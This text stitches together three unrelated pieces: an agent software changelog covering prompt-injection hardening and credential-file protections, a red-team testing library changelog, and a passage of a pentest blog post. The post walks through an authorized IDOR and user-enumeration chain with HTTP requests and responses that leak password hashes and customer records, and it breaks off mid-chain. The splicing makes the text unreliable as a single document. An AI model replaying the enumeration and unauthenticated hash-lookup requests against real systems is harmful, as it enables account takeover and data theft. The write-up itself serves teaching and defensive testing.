• Microsoft Graph: harden webhook auth requirements. (#30169)

🖥️ CLI & TUI

CLI

• /update slash command in CLI and TUI. (#23854)
• Update auto-rollback when post-pull syntax check fails. (#28669)
• --branch flag for hermes update. (@jquesnelle) (#29591)
• /exit --delete flag to remove session on quit. (salvage of #17665) (#27101)
• ▶ N indicator in status bar for running /background tasks. (#27175)
• Live background terminal-process count in status bar. (#32061)
• Append session recap to /status output. (salvage of #18587) (#27176)
• Configurable paste-collapse thresholds (TUI + CLI). (salvage #29723) (#32087)
• /resume accepts position numbers. (#31709)
• Bring tool-call display back — verbose mode, specific failure reasons, todo progress. (#31293)
• Validate runtime token refresh in Qwen auth status. (#31196)

TUI

• TUI session orchestrator — multiple live sessions in one TUI window. (salvages #27642) (#32980)
• mouse_tracking DEC mode presets. (salvage of #26681 by @OutThisLife) (#30084)
• Termux scrollback preservation + touch-friendly defaults. (#28910)
• Full assistant text in scrollback (no history truncation). (#28829)
• Preserve scrollback when branching sessions. (#30162)
• Preserve Python dunder identifiers in markdown. (#28582)
• Active profile shown in TUI prompt. (#28581)
• Improve Charizard completion menu contrast. (#28346)
• Stop slash dropdown chopping last char of /goal. (#31311)
• Clipboard copy on linux/wayland. (#29342)
• Anchor splitReasoning unclosed-tag regex; stop eating last paragraph. (#29426)
• Surface verbose tool details. (#30225)
• Load Linux skills on Termux + salvage @adybag14-cyber's Termux gates. (#30166)
• Handle images with codex app-server. (#31220)
• Refresh virtual transcript on viewport resize. (#31077)
• Ignore late thinking deltas after completion. (#31055)
• Commit composer input bursts immediately. (#31053)
• Log parent gateway lifecycle exits. (#31051)
• Clear TTS env var on voice off + TTS indicator in status bar. (#30987)
• Pass --expose-gc as node argv instead of NODE_OPTIONS. (#29998)
• Align composer cursorLayout with wrap-ansi to kill multiline cursor drift. (#27489)
• Harden Terminal.app rendering and color paths. (#27251)
• Keep /goal verdict out of compact status row. (#27971)
• Clamp curses color 8 for 8-color terminals (Docker). (#30260)

🔒 Security & Reliability

Promptware & memory hardening

• Promptware defense — shared threat patterns + memory load-time scan + tool-result delimiters. (#32269)
• Expand memory content scanning patterns to parity with skills guard. (#9151)
• Harden Skills Guard multi-word prompt patterns. (@YLChen-007) (#26852)
• Split cron scanner so skill prose stops false-positiving exfil patterns. (#32339)

File safety

• Protect Hermes control-plane files from prompt injection (auth.json, config.yaml, webhook_subscriptions.json, mcp-tokens/). (salvages @PratikRai0101's #14157) (#30397)
• Write-deny <root>/.env when running under a profile. (#29687)
• Defense-in-depth read-deny on credential stores. (salvages #17659 + #8055) (#30721)
• TTS output_path traversal + update ZIP symlink reject. (salvage #6693 + #15881) (#32056)
• Reject symlinked audio inputs. (#10082)

Credential safety

• Avoid persisting borrowed credential secrets — runtime env-sourced keys no longer leak into auth.json. (#31416)
• Validate Nous Portal inference_base_url against host allowlist. (salvages #27612) (#30611)
• Harden API server key placeholder handling. (#30738)
• Harden Google Chat OAuth credential persistence. (@Zyrixtrex) (#24788)
• xAI OAuth: pin inference base_url to x.ai origin. (#28952)
• Quarantine dead OAuth tokens on terminal refresh failure (xAI, Codex, MiniMax). (#28116, #28118, #28119)

Supply-chain

• On-demand supply-chain audit via OSV.dev — hermes audit. (#31460)
• hermes update syntax-validates critical files post-pull, auto-rollback on failure. (#28669)
• Quarantine hermes.exe vs concurrent Windows instance. (#26677)

Other hardening

• Restrict default webhook toolset capabilities. (#30745)
• Harden Microsoft Graph webhook auth requirements. (#30169)
• Require source CIDR allowlisting for public msgraph webhook binds. (#33722)
• Require API_SERVER_KEY before dispatching API server work. (#33232)
• env_passthrough: apply GHSA-rhgp-j443-p4rf filter to config.yaml path. (@roadhero) (#27794)
• Dashboard + WeCom: restrict markdown link schemes; safe-parse untrusted XML. (#32442)
• Salvage project-plugin RCE bypass fix from PR #29311 (GHSA-5qr3-c538-wm9j). (#30837)
• Cross-profile soft guard on file-write tools + system-prompt hint. (#31290)
• Reject unsafe tar members in Android psutil compatibility installer. (#33742)
• Reject non-regular tar members during tirith auto-install. (#33786)

🪟 Native Windows (Beta Continued)

• Thin desktop installer + first-launch install.ps1 bootstrap. (#27822)
• Complete Windows bootstrap — dep_ensure + install.ps1 + detection. (@alt-glitch) (#27845)
• install.ps1: strip BOM, -Commit/-Tag pin params, harden git ops. (@jquesnelle) (#28169)
• Consolidate ACP browser bootstrap into install.{sh,ps1}. (@alt-glitch) (#27851)
• hermes update quarantines live hermes.exe. (#26677)
• Discord voice opus decoding on Windows. (#33182)
• Windows Docker Desktop compatible compose file. (@Sunil123135) (#31031)

🖼️ Hermes Desktop GUI

• hermes gui launcher — install + build + launch packaged Electron app. (@OutThisLife) (#30165)
• Desktop UI lift. (#27227)
• nix package .#desktop. (@ethernet8023) (#28964)
• Hardened Slack socket recovery + Windows desktop restart dedupe. (#28873)
• Web dashboard: migrate checkboxes to @nous-research/ui + design-system polish. (@austinpickett) (#28814)
• Web dashboard: collapsible sidebar. (@austinpickett) (#33421)
• Dashboard typography & contrast pass. (salvage of #28832) (#30714)
• Skills page: lazy-fetch catalog instead of bundling 34MB into JS. (#33809)

🐳 Docker

• s6-overlay container supervision — abstract ServiceManager protocol (systemd/launchd/Windows/s6 backends), per-profile gateway supervision in-container, container-restart reconciliation, hadolint/shellcheck CI. (salvage of #30136, @benbarclay) (#31760)
• Auto-redirect gateway run to supervised mode inside the s6 image. (@benbarclay) (#33583)
• Tee supervised gateway stdout to docker logs. (@benbarclay) (#33621)
• Drop docker exec to hermes uid before invoking the CLI. (@benbarclay) (#33628)
• Align HOME for dashboard and s6 gateway services. (@Dusk1e) (#33481)
• Bake build-time git SHA into image so hermes dump reports it. (@benbarclay) (#33655)
• hermes update prints docker pull guidance instead of bogus git error. (@benbarclay) (#33659)
• Upgrade Node to 22 LTS via multi-stage from node:22-bookworm-slim. (@benbarclay) (#33060)
• Drop build-essential from apt install. (@benbarclay) (#33028)
• Propagate env through s6 to cont-init and main CMD. (#32412)
• Targeted chown to preserve host file ownership in HERMES_HOME. (#33033)
• mkdir HERMES_HOME as root in stage2 before chown / privilege drop. (#33078)
• chown ui-tui and node_modules on UID remap so TUI esbuild works. (#33045)
• Include anthropic, bedrock, azure-identity extras in image. (#30504)
• Stop pushing per-commit SHA tags to Docker Hub. (#29387)
• Simplify Docker tagging — push both :main and :latest on main push. (#33225)
• Test slicing across GH actions jobs. (@ethernet8023) (#30575)
• Discover agent-browser Chromium binary at boot. (#33184)

🌐 API Server

• Session control API — /api/sessions/* (list/create/read/patch/delete/fork) + SSE-streaming chat. (salvages #29302 by @Codename-11 + multimodal followup by @Schwartz10) (#33134)
• GET /v1/skills and /v1/toolsets. (#33016)
• Coerce stringified booleans in stream/store/approval payloads. (salvage #26639) (#27293)
• Honor key_env in auth-failure fallback resolution. (#30840)

🎟️ ACP (VS Code / Zed / JetBrains)

• Session edit auto-approval modes. (salvage of #27034) (#27862)
• Enrich Zed permission cards — command in title + reject_always. (#28148)
• Replay session history before responding to session/load. (#26957, #26943)
• Plugin-transformed final_response delivered through streaming gate. (#31433)

🔌 Plugin Surface

• register_tts_provider() plugin hook. (salvage of #30420) (#31745)
• register_transcription_provider() hook + stt.providers command-provider registry. (salvage of #30493) (#31907)
• register_auxiliary_task() in PluginContext API. (salvage #29817) (#31177)
• Bundled security-guidance plugin. (#33131)
• Discord and Mattermost migrated to bundled plugins. (#30591, #31748)
• ntfy as platform plugin. (#30867)
• Surface category-namespaced plugins in hermes plugins list. (#27187)
• Plugin discovery failures raised to WARNING level. (#28318)
• hermes_plugins included in gateway.log component filter. (#28313)
• Seed plugin extras before is_connected gate. (#31703)
• Dashboard: allowlist plugin assets + denylist subprocess-influencing env vars. (#32277)

📦 Distribution & Install

• Install-method stamping + Docker detection. (@alt-glitch) (#27843)
• Nix #messaging and #full package variants. (@alt-glitch) (#33108)
• Pre-load messaging gateway deps via --extra messaging. (salvage #26394) (#27558)
• Avoid piping installer directly into iex (Windows). (#28347)
• Ship bundled skills in wheel. (#28421)
• Ship dashboard plugin assets in wheel. (#28406)
• Make Camofox lazy-installed instead of eager. (#27055)
• Wire STT lazy-install into transcription_tools.py. (#30256)

🐛 Notable Bug Fixes (highlights only)

• Match bare custom provider by active base URL in hermes model. (#28908)
• Route auxiliary.vision.provider=openai to api.openai.com, skip text-only main. (#31452)
• Lint: skip per-file shell linter when LSP will handle the file. (#29054)
• Treat empty credential pool entries as unauthenticated in /model picker. (#28312)
• Reverted within window: Firecrawl integration tag, send_message @username auto-mentions, Telegram quick-command-only menus, Telegram pin-on-turn.

🧪 Testing

• Disarm lazy-install probe so _HAS_FASTER_WHISPER patches work. (#30334)
• Cover default board dashboard pin. (#28361)
• Cover _task_dict task_age fallback. (#28365)
• Allowlist tmp_path for kanban_notify artifact delivery tests. (#30851, #30852)
• Cover null output stream terminal events in Codex. (#33137)

📚 Documentation

• 30-day docs overhaul — full correctness audit, every PR in the window covered, Nous Portal weave, sidebar reorg. (#33782)
• Dedicated Nous Portal integration page and setup guide. (#31296)
• Providers: move Nous Portal first, Google Gemini OAuth last. (#31287)
• session_search rewrite for single-shape tool. (#27840)
• Kanban: document failure_limit, max_retries, inline create shortcuts, goals & kanban settings. (#28357, #28358, #28359, #28360, #28362)
• Kanban Codex lane skill. (#28430)
• xAI OAuth: note X Premium+ also unlocks Grok OAuth. (#29055)
• Docs site: Docker audio bridge notes, "Installing more tools in the container", xurl auth HOME in Docker.
• Email: clarify gateway vs Himalaya setup. (@helix4u) (#33634)
• Auth docs: replace stale hermes login references with hermes auth add. (#32859)

👥 Contributors

Core

• @teknium1 (lead)

Notable salvages & cherry-picks

• @benbarclay — s6-overlay container supervision (29 commits salvaged), Node 22 LTS upgrade, build-essential cleanup, gateway run auto-redirect in s6, tee supervised stdout to docker logs, hermes update Docker guidance, build-time SHA stamping
• @OutThisLife — hermes gui desktop launcher, mouse_tracking DEC mode presets
• @jquesnelle — Windows installer hardening, --branch flag for hermes update, install.ps1 BOM strip / commit-pin
• @alt-glitch — Windows dep_ensure bootstrap, Nix package variants (.#messaging, .#full), install-method stamping, ACP browser bootstrap consolidation
• @austinpickett — /update slash command, dashboard checkboxes → @nous-research/ui, mobile dashboard polish, collapsible sidebar
• @ethernet8023 — Nix .#desktop packaging, CI test slicing across GH Actions jobs, TUI clipboard copy fix
• @kshitijk4poor — doctor section banner + fail-and-issue helpers extraction, post-tag salvage cluster (curator-fallout, kanban SQLite hardening, install world-readable uv dirs, xAI bare-code paste)
• @rewbs — Nous JWT inference switch + refresh-token replay fix
• @Codename-11 + @Schwartz10 — session control API (REST + SSE + multimodal followup)
• @Niraven — kanban swarm topology helper
• @Interstellar-code — kanban worker visibility endpoints
• @adybag14-cyber — termux cold-start optimizations (multiple PRs)
• @qike-ms — Telegram in-place status edits design
• @sprmn24 — ntfy adapter
• @Jaaneek — xAI Web Search provider plugin
• @yannsunn — xAI upstream adapter for hermes proxy
• @Cybourgeoisie — OpenRouter sticky routing via session_id
• @memosr — Nous Portal base_url allowlist validation
• @Sunil123135 — Windows Docker Desktop compose file
• @Dusk1e — Docker HOME alignment for dashboard + s6 gateway services
• @beardthelion — opencode-go anthropic_messages routing
• @YLChen-007 — Skills Guard multi-word prompt patterns
• @roadhero — env_passthrough GHSA-rhgp-j443-p4rf filter
• @Zyrixtrex — Google Chat OAuth credential persistence hardening
• @briandevans, @tomqiaozc — defense-in-depth read-deny on credential stores
• @PratikRai0101 — control-plane file write protection
• @helix4u, @Bartok9, @zccyman — auxiliary fallback ladder components
• @ms-alan, @ticketclosed-wontfix, @donovan-yohan — TUI session orchestrator + follow-ups
• @daimon-nous[bot] — cron per-job profile support
• @bisko — re-pad reasoning_content on cross-provider fallback

All Contributors

@02356abc, @0xchainer, @0xDevNinja, @0xjackyang, @0xsir0000, @0z1-ghb, @8bit64k, @aaronlab, @AceWattGit,
@ACR27, @adam91holt, @AdamPlatin123, @Ade5954, @AdityaRajeshGadgil, @adybag14-cyber, @AhmetArif0, @ai-hana-ai,
@alaamohanad169-ship-it, @alber70g, @albert748, @alt-glitch, @aqilaziz, @argabor, @asdlem, @austinpickett,
@avifenesh, @awizemann, @B0Tch1, @Bartok9, @BaxBit, @Beandon13, @beardthelion, @benbarclay, @bensargotest-sys,
@binhnt92, @bird, @bisko, @BlackishGreen33, @booker1207, @bradhallett, @briandevans, @Brixyy, @brndnsvr,
@BROCCOLO1D, @btorresgil, @burjorjee, @carltonawong, @Carry00, @chaconne67, @chdlc, @chromalinx, @ChyuWei,
@CipherFrame, @cmullins70, @CNSeniorious000, @codeblackhole1024, @Codename-11, @colin-chang, @counterposition,
@cresslank, @CryptoByz, @cyb0rgk1tty, @Cybourgeoisie, @daizhonggeng, @darvsum, @davidcampbelldc, @deas,
@dgians, @dillweed, @DoGMaTiiC, @donovan-yohan, @draplater, @Drexuxux, @dskwe, @dsr-restyn, @Dusk1e,
@dusterbloom, @duyua9, @egilewski, @el-analista, @eliteworkstation94-ai, @eloklam, @EloquentBrush0x, @emonty,
@emozilla, @erhnysr, @erikengervall, @erosika, @ether-btc, @ethernet8023, @EvilHumphrey, @fabiosiqueira,
@falasi, @falconexe, @fardoche6, @felix-windsor, @Fewmanism, @ffr31mr, @flamiinngo, @flanny7, @flooryyyy,
@fonhal, @francip, @fujinice, @gianfrancopiana, @glennc, @Glucksberg, @godlin-gh, @Grogger, @guillaumemeyer,
@Gutslabs, @H-Ali13381, @hanzckernel, @haran2001, @hawknewton, @hayka-pacha, @hehehe0803, @helix4u, @HenkDz,
@Hermes, @hermesagent26, @Hinotoi-agent, @hongchen1993, @honor2030, @houenyang-momo, @ht1072, @hueilau,
@iamfoz, @ilonagaja509-glitch, @InB4DevOps, @indigokarasu, @Interstellar-code, @iqdoctor, @iRonin, @Jaaneek,
@JabberELF, @jacevys, @jackey8616, @jackjin1997, @jdelmerico, @jfuenmayor, @Jiahui-Gu, @JimLiu, @joe102084,
@JohnC1009, @jonpol01, @Jpalmer95, @Julientalbot, @justemu, @justincc, @jvinals, @karthikeyann, @kasunvinod,
@kchuang1015, @kenyonxu, @khungate, @kiranvk-2011, @kjames2001, @konsisumer, @kpadilha, @kriscolab,
@krislidimo, @kronexoi, @kshitijk4poor, @kunci115, @Kylejeong2, @kylekahraman, @LaPhilosophie, @leeseoki0,
@lemassykoi, @Lempkey, @LeonJS, @LeonSGP43, @lidge-jun, @LifeJiggy, @liuhao1024, @LizerAIDev, @loicnico96,
@loongfay, @m0n3r0, @malaiwah, @matthewlai, @mavrickdeveloper, @maxmilian, @McClean-Edison, @memosr,
@Mind-Dragon, @momowind, @MoonJuhan, @MoonRay305, @moortekweb-art, @MorAlekss, @ms-alan, @Nami4D,
@nehaaprasaad, @nekwo, @nftpoetrist, @NickLarcombe, @nidhi-singh02, @Niraven, @nnnet, @noctilust, @novax635,
@nthrow, @nv-kasikritc, @nycomar, @OCWC22, @oemtalks, @OmX, @ooovenenoso, @orcool, @oseftg, @outsourc-e,
@OutThisLife, @Paperclip, @PaTTeeL, @pepelax, @phoenixshen, @Pluviobyte, @pnascimento9596, @pochi-gio, @pr7426,
@PratikRai0101, @Prithvi1994, @psionic73, @ptichalouf, @Que0x, @QuenVix, @quocanh261997, @qWaitCrypto, @Qwinty,
@r266-tech, @rak135, @rdasilva1016-ui, @rewbs, @roadhero, @rodrigoeqnit, @RonHillDev, @roycepersonalassistant,
@rudi193-cmd, @RyanRana, @sadiksaifi, @samahn0601, @samggggflynn, @SamuelZ12, @sanghyuk-seo-nexcube,
@Saurav0989, @savanne-kham, @Schrotti77, @Schwartz10, @SerenityTn, @sgtworkman, @sharziki, @shaun0927,
@shellybotmoyer, @shunsuke-hikiyama, @SimbaKingjoe, @SimoKiihamaki, @sir-ad, @Slimydog21, @slowtokki0409,
@Soju06, @someaka, @soynchux, @sprmn24, @Stark-X, @steezkelly, @stepanov1975, @stephenschoettler,
@stevehq26-bot, @steveonjava, @Strontvod, @subtract0, @Sunil123135, @superearn-fisher, @Sylw3ster, @tchanee,
@that-ambuj, @thedavidmurray, @TheOnlyMika, @therahul-yo, @thewillhuang, @ticketclosed-wontfix, @Timur00Kh,
@tomqiaozc, @Tosko4, @Tranquil-Flow, @tw2818, @uzunkuyruk, @vaddisrinivas, @vanthinh6886, @vgocoder,
@victorGPT, @vynxevainglory-ai, @waefrebeorn, @walli, @wangpuv, @wanwan2qq, @wesleysimplicio, @worlldz,
@wpengpeng168, @WuKongAI-CMU, @wuli666, @Wysie, @wysie, @xxxigm, @yannsunn, @YanzhongSu, @YarrowQiao, @ygd58,
@YLChen-007, @yoniebans, @yu-xin-c, @YuanHanzhong, @zapabob, @zccyman, @ziliangpeng, @zwolniony, @Zyrixtrex

Full Changelog: v2026.5.16...v2026.5.28

Features

• #350: voice agents — first-class voice in scenario.run() (#355) (128ac94)
• #452: voice docs surface — legacy deprecation + new section scaffold (#456) (1b07abb)
• add GOAT strategy with dynamic technique selection for RedTeamAgent (#346) (2896c97)
• ci/#364: add pr-auto-approve.yml as passive observer (PR #1 of 4) (#485) (4d84597)
• red-team: zero-friction report dashboard — auto-save + scenario redteam-report CLI (2896c97)

Bug Fixes

• deps: bump filelock to >=3.20.3 for TOCTOU/symlink CVEs (#481) (479ec82)
• deps: bump pytest to >=9.0.3 for CVE-2025-71176 (#479) (4f4ffd4)
• deps: bump python-liquid to >=2.2.0 for high severity CVE (#459) (60bad76)
• deps: bump urllib3 to >=2.7.0 for high severity CVEs (#457) (50c3cea)
• deps: bump virtualenv to >=20.36.1 for CVE-2026-22702 (#483) (8f10690)
• deps: override minimatch to >=9.0.6 (CVE-2026-26996) (#395) (ceb0b59)
• deps: resolve 4 high-severity Dependabot security alerts (#393) (97f257d)
• docs: exclude scenario.report.app from pdoc to unblock Publish Docs (#388) (3736c87)
• examples: stabilize custom LLM judge criteria matching (#396) (f4b536c)
• examples: stabilize vegetarian-agent parallel tests on python-ci (#389) (e40eee3)
• examples: strengthen vegetarian-agent prompt to stabilize parallel tests (e40eee3)
• examples: use positional index matching in custom judge examples (f4b536c)
• judge: harden forceVerdict so discovery tools cannot leak (JS + Python) (#377) (0e2859f)
• red-team: annotate H_attacker when post-hoc injection fires (#326, #334) (2896c97)
• security: bump litellm to fix 4 high-severity CVEs (#411) (f6ff8a3)
• security: patch CVE-2026-27903 in minimatch (#398) (b61cc60)
• security: patch flatted prototype pollution via parse() (#421) (3a20e6c)
• security: patch glob CLI command injection in lovable_clone npm lockfile (#413) (d1b3297)
• security: patch glob CLI command injection in lovable_clone template npm lockfile (d1b3297)
• security: patch picomatch ReDoS in lovable_clone npm lockfile (#409) (70a5ff9)
• security: patch react-router XSS and open redirect CVEs (#418) (2b6797a)
• security: patch rollup arbitrary file write via path traversal (#399) (55a0259)
• security: patch rollup path traversal CVE (>= 4.0.0, < 4.59.0) (55a0259)
• security: upgrade aiohttp to fix zip bomb and other CVEs (#417) (a747624)
• security: upgrade black to fix arbitrary file write CVE (#403) (6583942)
• security: upgrade black to fix arbitrary file write via cache file name (6583942)
• security: upgrade mcp Python SDK to fix DoS and DNS rebinding CVEs (#406) (25e2e1c)
• security: upgrade pyasn1 to fix DoS via unbounded recursion (2880a73)
• security: upgrade pyasn1 to fix DoS vulnerabilities (#401) (2880a73)
• security: upgrade pydantic-ai to fix SSRF vulnerability (#405) (f7ec414)
• security: upgrade python-multipart to fix arbitrary file write CVE (#407) (1f2bb80)
• security: upgrade starlette to fix DoS via Range header merging (#402) (11135a7)
• security: upgrade urllib3 to fix decompression bomb CVEs (#404) (1b00ea2)
• voice: render audio messages cleanly in the terminal (#497) (bb4ff9b)
• voice: stub bot barge-in cancelled STT mid-pipeline, dropping user transcripts (#499) (5cb3596)

Miscellaneous

• deps-dev: bump vite, @vitejs/plugin-react-swc and lovable-tagger (e43f938)
• deps-dev: bump vite, @vitejs/plugin-react-swc and lovable-tagger in /python/examples/lovable_clone/template (#429) (e43f938)
• deps: bump black from 25.1.0 to 26.3.1 in /python (#431) (07db40a)
• deps: bump gitpython from 3.1.49 to 3.1.50 in /python (#447) (3fcd1fa)
• deps: bump mako from 1.3.10 to 1.3.12 in /python (#448) (ab4d576)
• deps: bump protobuf from 5.29.5 to 5.29.6 in /python (#433) (6ea6ed7)
• deps: bump pyasn1 from 0.6.1 to 0.6.3 in /python (#432) (ee837e7)
• deps: bump python-multipart from 0.0.20 to 0.0.26 in /python (#430) (0b29bbb)
• deps: bump python-multipart from 0.0.26 to 0.0.27 in /python (#449) (e5467b3)
• deps: bump starlette from 0.47.0 to 0.49.1 in /python (#434) (5263fed)
• deps: bump urllib3 from 1.26.20 to 2.6.3 in /python (#435) (1793d64)

Senior pentesters find these toxic combinations the same way every time. A four-phase methodology. Each phase asks one question. This post walks the methodology through a real discovery from an authorized assessment.

The Outcome First

A handful of anonymous API calls. One legitimate login at the end, as the victim. Five thousand customer accounts, every one of them reachable. Every password overwritten in a few seconds. Every account logged in to with the credentials the attacker chose. No privilege escalation, no token forgery, no exploit primitive. Every request the chain made was authorized as the attacker, because most of the chain never asked the attacker who they were.

The scanner that ran against the same application before the engagement reported the underlying findings as separate items. None rated Critical. All sat unremarkably in the triage backlog.

This post walks through how a pentester gets from those findings to that outcome. The mechanism is a methodology. It does not appear on any scanner’s findings list, but every experienced practitioner uses some version of it, and the structure is consistent enough to teach.

The methodology has four phases. Each phase asks one specific question of the application. The answers from each phase become inputs to the next. When all four answers connect, you have a toxic combination. Three or four findings whose individual severities understate what they enable when chained. In the engagement walked through here, that combination is one Low, one Medium, and one High that compose into a Critical.

The four questions:

• [1] Information Gathering. What does the application teach me, that I shouldn’t have learned, just by being here?
• [2] Vulnerability Analysis. Which inputs identify objects, and which of those are not bound to my session?
• [3] Attack Execution. Does the same identifier I just exfiltrated work on a write endpoint? And was authentication required at all?
• [4] Exploitation. Can the chain produce a state change the application’s normal threat model would not detect?

Each phase carries a severity rating taken in isolation. None of the individual ratings is Critical. The combination is.

What follows comes from an authorized assessment. The endpoint paths, request shapes, and overall chain are reproduced from the engagement. The data values (names, emails, profile IDs, hash strings) are synthesized so nothing in this post identifies the assessed application or any real customer. The pattern reported here was filed, escalated, and remediated before the application’s planned sunset.

The Starting Position

The engagement began the way most do. Pre-test triage produced the usual mix. A few missing security headers, a reflective XSS hint that turned out to be a false positive, a “verbose error message” entry against the login endpoint marked Medium, and a generic “missing headers on JavaScript file” against app.js.

If I had treated that as a finished list, the engagement would have been a four-paragraph memo. Three findings to acknowledge, one to push back on, sign off, move on. The chain that ended in mass account takeover would have stayed undiscovered.

I opened the JavaScript file anyway. Not because I expected anything interesting. Reading the bundle is a habit I picked up from senior reviewers years ago. Automated tooling can tell me a file is missing a header. It cannot tell me what the file does.

Every step of the methodology starts from the lowest-privilege legitimate position the application allows. Not because elevated access is hard to get, but because chains that start from admin tell us nothing about the threat model that matters most. The user the application already trusts. The chain that follows holds against an unauthenticated visitor for the first three phases. The position rises to a legitimate customer login only at the very end, when the chain reaches its outcome.

Phase 1: Information Gathering

What does the application teach me, that I shouldn’t have learned, just by being here?

I never logged in for this phase. Visiting the login page through Burp’s proxy was enough.

The login page’s HTML loads four obvious script files (main.js, apim-auth.js, env.js, firebase.js) and one less obvious one. A <link rel=”preload” as=”script” href=”/js/app.js”> declaration in the page head causes the browser to issue a GET for /js/app.js during initial page load. This is the kind of tag a webpack build emits when it wants the browser to prefetch a route chunk for the next navigation. Burp captured all five files in the same proxy history sequence, before I had typed a single character into the login form. The fifth file, app.js, is the post-login dashboard’s bundle. Its presence in the proxy history meant the application had already shipped its post-login API catalog to me, an unauthenticated visitor.

Opening app.js in Burp’s response viewer, the first dozen lines told me everything I needed to know about the API surface I was about to test.

// Internal API endpoint catalog (used by build tools, do not remove)
 // POST /api/login body { email, password }
 // GET /api/profile?id=N profile by numeric id (admin only)
 // GET /api/profile/password?id=N legacy reset-lookup (returns salt+hash)
 // PUT /api/profile/password body { id?, currentPassword?, newPassword }
 // POST /api/account/info body { userProfileID: N }
 //
 // TODO(qa): remove qa.test@acme-portal.local seed account before release.
 // Leftover from QA cycle. Admin role, used for password-reset regression tests.

Three things jump out of the catalog in under five seconds.

1. /api/profile?id=N is annotated “admin only”, but it is rendered by the customer dashboard. Either the comment is wrong, the gate is wrong, or both. Worth probing.

2. /api/profile/password GET returns salt+hash. That phrase belongs in a database row, not an HTTP response body. Worth probing harder.

3. PUT /api/profile/password accepts an id in addition to currentPassword. Optional id. Two execution branches in one endpoint. The branch that takes id cannot also be requiring the current password, otherwise the optional structure makes no sense.

The TODO comment names a specific email, qa.test@acme-portal.local. The developer who wrote the comment intended to remove the seed account before release. They clearly did not. The seed account also appears to have an admin role.

I rated this finding Low in isolation. Information disclosure to unauthenticated visitors is a notch worse than disclosure to authenticated users, but the file does not contain credentials, tokens, or directly exploitable data on its own. A reviewer skimming the bundle would tag it “Low, verify, accept the risk if no PII is exposed.” That triage is technically correct. It also prematurely closes the most interesting input the chain ever produces.

The methodology question for Phase 1 is not “what is the severity of the JS bundle exposure?” The question is what does the application teach me that I shouldn’t have learned just by being here? The answer is an inventory of inputs the developers thought the requester would not see.

That inventory is the input for Phase 2.

Phase 2: Vulnerability Analysis

Which inputs identify objects, and which of those are not bound to my session?

Phase 2 lives inside the login endpoint, which the application has to expose to unauthenticated visitors by definition. I stayed unauthenticated.

Before testing the other endpoints from the catalog directly, I tried something the JS bundle made specifically possible. I attempted to log in using qa.test@acme-portal.local, the email left behind in the TODO comment, with a deliberately wrong password. I expected the standard “Invalid credentials” response. What I got was different.

POST /api/login HTTP/1.1
Content-Type: application/json
 
{"email":"qa.test@acme-portal.local","password":"wrongpass"}

Response:
    {
     "IsSuccess": false,
     "error": "Email exists but password is incorrect",
     "email": "qa.test@acme-portal.local",
     "userName": "QA Test Account",
     "userProfileID": 9999,
     "role": "admin"
    }

The IsSuccess: false field told me authentication failed. Everything below it told me the account exists, that it is named “QA Test Account”, that its profile ID is 9999, and that its role is admin. None of that should be in a failed-login response.

I tested the same path against an email I knew was not in the system (noone@nowhere.invalid).

{ "IsSuccess": false, "error": "Invalid credentials" }

Generic 401, no metadata. The verbose response only fires when the email exists. That is not a verbose error message. That is a user-enumeration oracle. Type any email at the login endpoint and the response shape tells you whether the email is registered. If it is, it also tells you the user’s name, profile ID, and role.

I confirmed the same shape against a known regular customer.

{
 "IsSuccess": false,
 "error": "Email exists but password is incorrect",
 "email": "sarah.thompson@outlook.com",
 "userName": "Sarah Thompson",
 "userProfileID": 2,
 "role": "customer"
}

The failed-login path leaks email, name, profile ID, and role for any registered email, to an unauthenticated visitor, with no rate limit applied. I rated this Medium in isolation. Verbose-error responses that disclose user metadata land squarely in standard Medium territory, and that rating is the right one to file. What elevates this finding inside the chain is the role field. That field tells the attacker which profile IDs are admin accounts, which becomes the prioritization for Phase 3. The Medium rating is correct. The chain is what makes it dangerous.

The output of Phase 2 is the data the gap leaks. Numeric profile IDs, and the knowledge that profile ID 9999 holds an admin role. That data is the input for Phase 3.

Phase 3: Attack Execution

Does the same identifier I just exfiltrated work on a write endpoint? And was authentication required at all?

The catalog from Phase 1 listed a curious endpoint.

GET /api/profile/password?id=N legacy reset-lookup (returns salt+hash)

Why would a password reset endpoint return the salt and hash? In a normal architecture, the reset flow generates a token, emails it, and accepts a new password. The hash never leaves the database. A “legacy reset-lookup” endpoint that returns hash and salt is the kind of thing that exists because some backend developer wrote a JSON wrapper around a legacy SOAP method without thinking about what they were exposing.

Out of habit, my first probe carried an Authorization header, a Bearer token I had picked up from a separate test session. The endpoint returned 200 with the salt and hash. I made the same call again with the Authorization header removed entirely. Same 200. Same salt and hash.

The endpoint had not checked the token. The endpoint was not checking authentication at all.

GET /api/profile/password?id=2 HTTP/1.1
Accept: application/json

Response:
    {
     "IsSuccess": true,
     "userProfileID": 2,
     "userName": "Sarah Thompson",
     "email": "sarah.thompson@outlook.com",
     "role": "customer",
     "passwordHash": "A917B980DA07B1051F071DCBD0CDA0BAED53567AEEE5E92B2E4765631ED4FEEF",
     "salt": "4329e437404ef2f8"
    }

No Authorization header. No session cookie. No API key. The endpoint never asked. Hash, salt, email, username, role, all returned to an anonymous caller, for any profile ID that exists.

This is two authorization failures stacked on the same endpoint. The first is missing authentication entirely. The endpoint accepts requests from anyone on the public internet without checking who is calling. The second is missing object-level authorization. Even if the endpoint did check the caller, it would have no notion of which profile IDs that caller is allowed to read, because the code doesn’t bind the id parameter to any session at all. A scanner would catch neither pattern by itself. It would see a 200 response and move on.

A senior pentester recognizes the broken-object-level-authorization shape on a credential-bearing endpoint and rates this High. Practical impact is offline credential cracking against any user the attacker can name, with no rate limit and no authentication barrier.

The methodology pushes one more step before rating. The output of an enumeration step is rarely the data of one record. It is the proof that the enumeration itself works, which means the next step is to scale. I added a second enumeration target, the account/info endpoint that the catalog also listed.

POST /api/account/info HTTP/1.1
Content-Type: application/json
 
{"userProfileID":3}

Response:
    {
     "IsSuccess": true,
     "userProfileID": 3,
     "userName": "Robert Chen",
     "email": "robert.chen@yahoo.com",
     "policyNumber": "POL-10004"
     }

Same pattern. No authentication required. No ownership check. The endpoint accepts any profile ID and returns email, username, and policy number. Looped over an incrementing range of profile IDs, this becomes a full customer enumeration in a few seconds. The customer database held close to 5000 records. The loop returned every one of them.

At this point I had, anonymously:

• A user-enumeration primitive (the verbose login response)
• A salt+hash leak for any profile ID (the GET reset-lookup)
• An email, name, and policy disclosure for any profile ID (the account/info endpoint)
• The knowledge that profile ID 9999 is a leftover admin account
• The original IDOR observation from the catalog comment (“admin only” gate that wasn’t enforced)

Three independent findings, each of which a triage process would handle separately. The methodology does not let me stop and report yet. Phase 3’s question is not just “did the read work?” It is does the same identifier I just exfiltrated work on a write endpoint?

The catalog listed the answer.

